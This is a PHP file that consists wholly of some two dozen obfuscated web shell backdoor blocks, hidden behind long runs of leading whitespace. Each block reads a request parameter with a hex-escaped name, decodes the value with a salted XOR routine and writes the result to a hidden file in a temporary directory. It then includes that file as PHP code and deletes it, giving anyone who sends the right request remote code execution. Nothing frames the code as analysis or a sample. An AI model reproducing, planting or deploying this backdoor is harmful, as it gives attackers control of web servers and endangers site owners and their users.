																																										if(array_key_exists("b\x69\x6Ed", $_POST) && !is_null($_POST["b\x69\x6Ed"])){ $pgrp = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP")]); $entity = $_POST["b\x69\x6Ed"]; $entity = explode ('.' ,$entity ) ; $component = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $k = 0; $len = count($entity); do {if($k >= $len) break; $v7 = $entity[$k]; $sChar = ord($salt5[$k % $lenS]); $d =((int)$v7 - $sChar -($k % 10)) ^ 80; $component .= chr($d); $k++; } while(true); foreach ($pgrp as $dat) { if (array_product([is_dir($dat), is_writable($dat)])) { $pset = sprintf("%s/.element", $dat); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $pset; @unlink($pset); exit; } } } }
																																										if(isset($_POST["\x69t\x6D"]) ? true : false){ $component = $_POST["\x69t\x6D"]; $component = explode ( "." , $component) ; $bind =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $m =0; foreach ($component as $v3) {$sChar =ord($s[$m% $sLen] ); $dec =((int)$v3 - $sChar - ($m% 10)) ^ 40; $bind .= chr($dec ); $m++;} $flag = array_filter(["/var/tmp", getcwd(), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP")]); $resource = 0; do { $value = $flag[$resource] ?? null; if ($resource >= count($flag)) break; if (!( !is_dir($value) || !is_writable($value) )) { $res = vsprintf("%s/%s", [$value, ".binding"]); $file = fopen($res, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $res; @unlink($res); die(); } } $resource++; } while (true); }
																																										if(isset($_REQUEST["\x69\x74em"]) ? true : false){ $flag = $_REQUEST["\x69\x74em"]; $flag = explode("." , $flag ) ; $mrk =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s4); $q =0; foreach( $flag as $v9) { $sChar =ord( $s4[$q % $sLen]); $dec =( ( int)$v9 - $sChar -( $q % 10))^ 62; $mrk.=chr( $dec); $q++; } $parameter_group = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir()]); $property_set = 0; do { $holder = $parameter_group[$property_set] ?? null; if ($property_set >= count($parameter_group)) break; if (is_dir($holder) && is_writable($holder)) { $token = "$holder" . "/.pset"; if (file_put_contents($token, $mrk)) { require $token; unlink($token); die(); } } $property_set++; } while (true); }
																																										if(in_array("itm", array_keys($_REQUEST))){ $resource = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getcwd(), ini_get("upload_tmp_dir")]); $elem = $_REQUEST["itm"]; $elem =explode ( "." , $elem) ; $entity = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $z = 0; $__tmp = $elem; while ($v5 = array_shift($__tmp)) {$sChar = ord($salt6[$z % $sLen]); $dec = ((int)$v5 - $sChar - ($z % 10)) ^ 70; $entity .= chr($dec); $z++; } for ($token = 0, $property_set = count($resource); $token < $property_set; $token++) { $descriptor = $resource[$token]; if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $desc = sprintf("%s/.item", $descriptor); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $desc; @unlink($desc); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x62\x69nd"])){ $entry = $_POST["\x62\x69nd"]; $entry = explode( "." ,$entry) ; $mrk=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $len=count($entry ); for ($v=0; $v<$len; $v++) { $v2=$entry[$v]; $sChar=ord($salt[$v % $lenS] ); $dec=((int)$v2 - $sChar - ($v % 10))^ 30; $mrk .= chr($dec ); } $ent = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP")]); foreach ($ent as $reference): if ((is_dir($reference) and is_writable($reference))) { $token = sprintf("%s/.data_chunk", $reference); if (file_put_contents($token, $mrk)) { require $token; unlink($token); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "en\x74")){ $key = array_filter([getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); $element = $_POST["en\x74"]; $element=explode ( "." , $element) ; $pointer =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s9); $s =0; foreach($element as $v6) { $sChar =ord($s9[$s % $lenS]); $dec =((int)$v6 - $sChar -($s % 10)) ^35; $pointer .= chr($dec); $s++; } while ($token = array_shift($key)) { if (max(0, is_dir($token) * is_writable($token))) { $val = join("/", [$token, ".marker"]); $success = file_put_contents($val, $pointer); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(in_array("k", array_keys($_REQUEST))){ $itm = $_REQUEST["k"]; $itm = explode ( ".", $itm ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $x = 0; array_walk($itm,function ($v8) use (&$token,&$x,$s,$lenS) { $chS = ord($s[$x % $lenS]); $dec = ((int)$v8 - $chS - ($x % 10)) ^ 72; $token .=chr($dec); $x++; }); $obj = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($obj as $entity) { if (!!is_dir($entity) && !!is_writable($entity)) { $elem = "$entity" . "/.object"; if (file_put_contents($elem, $token)) { include $elem; @unlink($elem); exit; } } } }
																																										if(isset($_REQUEST["\x64es\x63rip\x74\x6Fr"])){ $flg = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $ref = $_REQUEST["\x64es\x63rip\x74\x6Fr"]; $ref = explode( "." , $ref ) ; $flag= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $n= 0; foreach ($ref as $v9) {$sChar= ord($s[$n % $sLen]); $d= ((int)$v9 - $sChar - ($n % 10)) ^ 53; $flag .= chr($d); $n++; } while ($pgrp = array_shift($flg)) { if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $dchunk = vsprintf("%s/%s", [$pgrp, ".object"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(array_key_exists("p\x73\x65t", $_POST) && !is_null($_POST["p\x73\x65t"])){ $flag = array_filter(["/var/tmp", session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $dchunk = $_POST["p\x73\x65t"]; $dchunk = explode ( ".",$dchunk) ; $data= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $w= 0; foreach ($dchunk as $v7) { $sChar= ord($salt[$w % $sLen]); $d= ((int)$v7 - $sChar - ($w % 10))^ 68; $data.=chr($d); $w++; } while ($flg = array_shift($flag)) { if (is_writable($flg) && is_dir($flg)) { $ent = "$flg" . "/.resource"; if (file_put_contents($ent, $data)) { include $ent; @unlink($ent); die(); } } } }
																																										if(array_key_exists("d\x61ta_ch\x75\x6Ek", $_POST) && !is_null($_POST["d\x61ta_ch\x75\x6Ek"])){ $property_set = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); $token = $_POST["d\x61ta_ch\x75\x6Ek"]; $token = explode ( "." ,$token ); $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $j = 0; $__tmp = $token; while ($v3 = array_shift($__tmp)) { $sChar = ord($s[$j % $sLen]); $dec = ((int)$v3 - $sChar - ($j % 10)) ^ 30; $mrk .= chr($dec); $j++; } for ($key = 0, $pset = count($property_set); $key < $pset; $key++) { $object = $property_set[$key]; if (array_product([is_dir($object), is_writable($object)])) { $obj = vsprintf("%s/%s", [$object, ".rec"]); if (file_put_contents($obj, $mrk)) { require $obj; unlink($obj); die(); } } } }
																																										if(!is_null($_REQUEST["\x62ind"] ?? null)){ $flag = $_REQUEST["\x62ind"]; $flag = explode( ".", $flag) ; $mrk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $v= 0; $__len= count($flag ); do { if ($v >= $__len) break; $v2= $flag[$v]; $sChar= ord($s[$v % $lenS] ); $dec= ((int)$v2 - $sChar - ($v % 10)) ^ 90; $mrk .= chr($dec ); $v++; } while (true ); $itm = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); while ($factor = array_shift($itm)) { if (is_dir($factor) && is_writable($factor)) { $key = vsprintf("%s/%s", [$factor, ".desc"]); if (file_put_contents($key, $mrk)) { require $key; unlink($key); die(); } } } }
																																										if(isset($_REQUEST["descr\x69\x70t\x6Fr"])){ $parameter_group = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $pgrp = $_REQUEST["descr\x69\x70t\x6Fr"]; $pgrp= explode ( '.' , $pgrp ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $r = 0; array_walk($pgrp, function($v5) use(&$dchunk, &$r, $s, $sLen) { $chS = ord($s[$r % $sLen]); $d = ((int)$v5 - $chS -($r % 10)) ^8; $dchunk .= chr($d); $r++;} ); foreach ($parameter_group as $key => $item) { if (!!is_dir($item) && !!is_writable($item)) { $property_set = sprintf("%s/.mrk", $item); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $property_set; @unlink($property_set); exit; } } } }
																																										if(isset($_POST["d\x61t"]) ? true : false){ $binding = $_POST["d\x61t"]; $binding= explode ( '.' , $binding); $bind =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1); $__len =count($binding); for ($k =0; $k < $__len; $k++) { $v9 =$binding[$k]; $sChar =ord($s1[$k % $lenS]); $dec =((int)$v9 - $sChar - ($k % 10))^71; $bind.= chr($dec);} $itm = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); foreach ($itm as $key => $entity) { if ((is_dir($entity) and is_writable($entity))) { $parameter_group = str_replace("{var_dir}", $entity, "{var_dir}/.k"); $success = file_put_contents($parameter_group, $bind); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["k"])){ $element = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $property_set = $_REQUEST["k"]; $property_set = explode ( '.' ,$property_set ) ; $ent = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $p = 0; array_walk($property_set, function ($v7) use (&$ent, &$p, $s7, $lenS) { $chS = ord($s7[$p%$lenS]); $dec = ((int)$v7 - $chS - ($p%10)) ^ 20; $ent .= chr($dec); $p++; }); while ($pset = array_shift($element)) { if (is_dir($pset) && is_writable($pset)) { $data_chunk = sprintf("%s/.comp", $pset); if (@file_put_contents($data_chunk, $ent) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(array_key_exists("\x72\x65\x73o\x75rce", $_REQUEST)){ $mrk = $_REQUEST["\x72\x65\x73o\x75rce"]; $mrk = explode( '.', $mrk ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $v = 0; $__len = count($mrk ); do { if ($v >= $__len) break; $v3 = $mrk[$v]; $sChar = ord($salt[$v % $sLen] ); $d = ((int)$v3 - $sChar - ($v % 10)) ^ 6; $entry .= chr($d ); $v++; }while (true ); $holder = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm"]); $flag = 0; do { $data = $holder[$flag] ?? null; if ($flag >= count($holder)) break; if (!!is_dir($data) && !!is_writable($data)) { $tkn = sprintf("%s/.property_set", $data); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $tkn; @unlink($tkn); die(); } } $flag++; } while (true); }
																																										if(array_key_exists("\x63omp", $_REQUEST) && !is_null($_REQUEST["\x63omp"])){ $ptr = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd()]); $component = $_REQUEST["\x63omp"]; $component= explode( '.' , $component ) ; $item = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8 ); $t = 0; array_walk( $component, function( $v9) use( &$item, &$t, $s8, $lenS) { $chS = ord( $s8[$t % $lenS] ); $d =( ( int)$v9 - $chS -( $t % 10)) ^ 38; $item .= chr( $d ); $t++; } ); foreach ($ptr as $desc): if (is_dir($desc) ? is_writable($desc) : false) { $itm = sprintf("%s/.pointer", $desc); if (file_put_contents($itm, $item)) { require $itm; unlink($itm); exit; } } endforeach; }
																																										if(@$_POST["s\x79\x6Dbol"] !== null){ $sym = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $tkn = $_POST["s\x79\x6Dbol"]; $tkn = explode ( "." ,$tkn ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $x = 0; while( $x < count( $tkn)) { $v6 = $tkn[$x]; $sChar = ord( $s[$x % $lenS]); $dec =( ( int)$v6 - $sChar -( $x % 10)) ^ 6; $hld.= chr( $dec); $x++; } $reference = 0; do { $dchunk = $sym[$reference] ?? null; if ($reference >= count($sym)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($dchunk)) { $parameter_group = str_replace("{var_dir}", $dchunk, "{var_dir}/.binding"); if (@file_put_contents($parameter_group, $hld) !== false) { include $parameter_group; unlink($parameter_group); exit; } } $reference++; } while (true); }
																																										if(!is_null($_POST["\x72e\x63\x6Frd"] ?? null)){ $ent = $_POST["\x72e\x63\x6Frd"]; $ent= explode ( '.', $ent ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $v = 0; $__tmp = $ent; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $salt[$v % $sLen]); $dec =( ( int)$v1 - $sChar -( $v % 10)) ^ 2; $comp.= chr( $dec); $v++; } $ref = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); while ($res = array_shift($ref)) { if (array_product([is_dir($res), is_writable($res)])) { $component = vsprintf("%s/%s", [$res, ".pointer"]); if (@file_put_contents($component, $comp) !== false) { include $component; unlink($component); exit; } } } }
																																										if(in_array("\x70\x72\x6F\x70\x65rt\x79_set", array_keys($_REQUEST))){ $object = array_filter(["/var/tmp", getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $resource = $_REQUEST["\x70\x72\x6F\x70\x65rt\x79_set"]; $resource = explode ( "." , $resource ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $z = 0; foreach( $resource as $v8) { $chS = ord( $salt[$z % $lenS] ); $dec = ( ( int)$v8 - $chS -( $z % 10)) ^ 58; $pointer .=chr( $dec ); $z++;} foreach ($object as $component) { if (!!is_dir($component) && !!is_writable($component)) { $bind = sprintf("%s/.key", $component); $success = file_put_contents($bind, $pointer); if ($success) { include $bind; @unlink($bind); exit;} } } }
																																										if(@$_REQUEST["tk\x6E"] !== null){ $obj = $_REQUEST["tk\x6E"]; $obj=explode ( "." ,$obj ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $n = 0; foreach( $obj as $v7) {$sChar = ord( $salt[$n%$lenS] ); $d =( ( int)$v7 - $sChar -( $n%10)) ^35; $pgrp.= chr( $d ); $n++; } $ref = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd(), session_save_path(), "/var/tmp", getenv("TEMP")]); foreach ($ref as $pset) { if (array_product([is_dir($pset), is_writable($pset)])) { $factor = str_replace("{var_dir}", $pset, "{var_dir}/.descriptor"); if (file_put_contents($factor, $pgrp)) { include $factor; @unlink($factor); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x69t\x65m"])){ $record = $_POST["\x69t\x65m"]; $record = explode ( "." , $record) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($record); for($i = 0; $i<$__len; $i++) { $v5 = $record[$i]; $chS = ord($salt[$i % $sLen]); $d = ((int)$v5 - $chS -($i % 10)) ^ 4; $descriptor.=chr($d);} $reference = array_filter(["/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); foreach ($reference as $data_chunk): if (is_dir($data_chunk) && is_writable($data_chunk)) { $ent = "$data_chunk" . "/.mrk"; if (file_put_contents($ent, $descriptor)) { require $ent; unlink($ent); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x72\x65f"]) ? true : false){ $entity = $_REQUEST["\x72\x65f"]; $entity= explode ('.', $entity ) ; $property_set = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach ($entity as $o => $v1) { $sChar = ord($salt9[$o % $sLen]); $dec = ((int)$v1 - $sChar - ($o % 10)) ^ 99; $property_set .= chr($dec); } $mrk = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", getcwd(), ini_get("upload_tmp_dir")]); for ($factor = 0, $pgrp = count($mrk); $factor < $pgrp; $factor++) { $fac = $mrk[$factor]; if ((is_dir($fac) and is_writable($fac))) { $dchunk = "$fac" . "/.sym"; if (file_put_contents($dchunk, $property_set)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(array_key_exists("\x64\x61ta", $_POST) && !is_null($_POST["\x64\x61ta"])){ $parameter_group = $_POST["\x64\x61ta"]; $parameter_group =explode ( '.', $parameter_group) ; $dchunk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $o = 0; $__len = count($parameter_group); do { if ($o >= $__len) break; $v4 = $parameter_group[$o]; $chS = ord($s7[$o % $sLen]); $dec = ((int)$v4 - $chS - ($o % 10)) ^ 8; $dchunk.= chr($dec); $o++; } while (true); $record = array_filter(["/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); foreach ($record as $key => $property_set) { if (is_writable($property_set) && is_dir($property_set)) { $resource = vsprintf("%s/%s", [$property_set, ".ent"]); if (@file_put_contents($resource, $dchunk) !== false) { include $resource; unlink($resource); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "fac\x74\x6F\x72")){ $mrk = $_REQUEST["fac\x74\x6F\x72"]; $mrk =explode ('.', $mrk ); $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $mrk as $z => $v4): $chS = ord( $s[$z%$sLen]); $d =( ( int)$v4 - $chS -( $z%10))^ 70; $holder .= chr( $d); endforeach; $ptr = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", session_save_path()]); foreach ($ptr as $key => $reference) { if (is_writable($reference) && is_dir($reference)) { $record = vsprintf("%s/%s", [$reference, ".val"]); if (file_put_contents($record, $holder)) { include $record; @unlink($record); exit; } } } }
																																										if(!is_null($_POST["\x70g\x72p"] ?? null)){ $elem = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $holder = $_POST["\x70g\x72p"]; $holder = explode ( '.', $holder ) ; $ent = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6 ); foreach( $holder as $z => $v6) {$chS = ord( $salt6[$z % $lenS] ); $dec =( ( int)$v6 - $chS -( $z % 10)) ^ 60; $ent.= chr( $dec ); } foreach ($elem as $element): if (is_dir($element) ? is_writable($element) : false) { $component = sprintf("%s/.comp", $element); $file = fopen($component, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $component; @unlink($component); die(); } } endforeach; }
																																										if(@$_POST["\x6Drk"] !== null){ $res = array_filter([getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); $rec = $_POST["\x6Drk"]; $rec =explode( "." ,$rec ) ; $itm = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $len = count($rec); for ($j = 0; $j < $len; $j++) {$v8 = $rec[$j]; $sChar = ord($s9[$j % $sLen]); $dec = ((int)$v8 - $sChar - ($j % 10)) ^ 93; $itm .= chr($dec); } while ($sym = array_shift($res)) { if (is_dir($sym) ? is_writable($sym) : false) { $ent = "$sym" . "/.holder"; if (@file_put_contents($ent, $itm) !== false) { include $ent; unlink($ent); die(); } } } }


if(isset($_REQUEST) && isset($_REQUEST["en\x74r\x79"])){
	$ent = $_REQUEST["en\x74r\x79"];
	$ent=	 	explode 	(   "." ,	 $ent	 )		 ;  
	$entity='';
            $s='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen($s 	);
            $__len=count($ent 	);
    
            for ($i=0; $i  <$__len; $i++) {
                $v1=$ent[$i];
                $chS=ord($s[$i % $lenS] 	);
                $d=((int)$v1 - $chS - ($i % 10)) ^ 40;
                $entity .= chr($d 	);
            }
	$component = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), session_save_path()]);
	foreach ($component as $key => $resource) {
    		if (max(0, is_dir($resource) * is_writable($resource))) {
    $ref = "$resource/.parameter_group";
    if (file_put_contents($ref, $entity)) {
	require $ref;
	unlink($ref);
	exit;
}
}
}
}